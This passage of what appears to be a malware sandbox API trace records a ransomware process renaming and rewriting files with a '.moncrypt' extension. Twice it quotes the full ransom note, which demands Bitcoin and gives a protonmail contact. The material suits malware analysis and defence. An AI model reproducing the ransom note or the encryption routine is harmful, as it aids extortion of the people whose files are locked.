dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.151] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.151] CloseHandle (hObject=0x18c) returned 1 [0059.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.152] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.152] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.152] GlobalUnlock (hMem=0x44000c) returned 0 [0059.152] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.152] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.152] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.152] GlobalUnlock (hMem=0x44000c) returned 0 [0059.152] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.152] GlobalUnlock (hMem=0x440004) returned 0 [0059.152] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.152] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.152] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.153] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.153] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.153] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.153] CloseHandle (hObject=0x18c) returned 1 [0059.153] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0059.153] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.153] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.154] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.154] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.154] GlobalUnlock (hMem=0x440004) returned 0 [0059.154] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.154] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.154] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.154] GlobalUnlock (hMem=0x440004) returned 0 [0059.154] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.154] GlobalUnlock (hMem=0x44000c) returned 0 [0059.154] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.154] CharLowerBuffW (in: lpsz="Informix.xsl", cchLength=0xc | out: lpsz="informix.xsl") returned 0xc [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", cchWideChar=80, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsle", lpUsedDefaultChar=0x0) returned 80 [0059.155] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\Informix.xsle", lpUsedDefaultChar=0x0) returned 4 [0059.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 0x54e280 [0059.155] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.155] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.155] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x20) returned 1 [0059.156] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.moncrypt")) returned 1 [0059.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.157] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.157] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x78e4 [0059.157] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.157] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.159] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.159] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.160] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.160] GlobalUnlock (hMem=0x440004) returned 0 [0059.160] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.160] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.160] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.160] GlobalUnlock (hMem=0x440004) returned 0 [0059.160] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.160] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.160] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.160] GlobalUnlock (hMem=0x44000c) returned 0 [0059.160] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.160] GlobalUnlock (hMem=0x440004) returned 0 [0059.160] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.160] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.160] GlobalUnlock (hMem=0x440004) returned 0 [0059.160] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.160] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.160] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.160] GlobalUnlock (hMem=0x440004) returned 0 [0059.160] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.161] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.161] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.161] SetFilePointer (in: hFile=0x18c, lDistanceToMove=30948, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x78e4 [0059.161] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.161] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.161] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.172] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.173] CloseHandle (hObject=0x18c) returned 1 [0059.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.174] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.174] CloseHandle (hObject=0x18c) returned 1 [0059.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.175] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.175] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.175] GlobalUnlock (hMem=0x440004) returned 0 [0059.175] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.175] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.175] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.175] GlobalUnlock (hMem=0x440004) returned 0 [0059.175] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.175] GlobalUnlock (hMem=0x44000c) returned 0 [0059.175] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.175] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.175] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.175] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.175] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.176] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.176] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.176] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.176] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.176] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.176] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.176] CloseHandle (hObject=0x18c) returned 1 [0059.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.176] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.176] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.176] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.176] GlobalUnlock (hMem=0x44000c) returned 0 [0059.176] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.176] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.176] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.176] GlobalUnlock (hMem=0x44000c) returned 0 [0059.176] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.176] GlobalUnlock (hMem=0x440004) returned 0 [0059.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.176] CharLowerBuffW (in: lpsz="msjet.xsl", cchLength=0x9 | out: lpsz="msjet.xsl") returned 0x9 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: 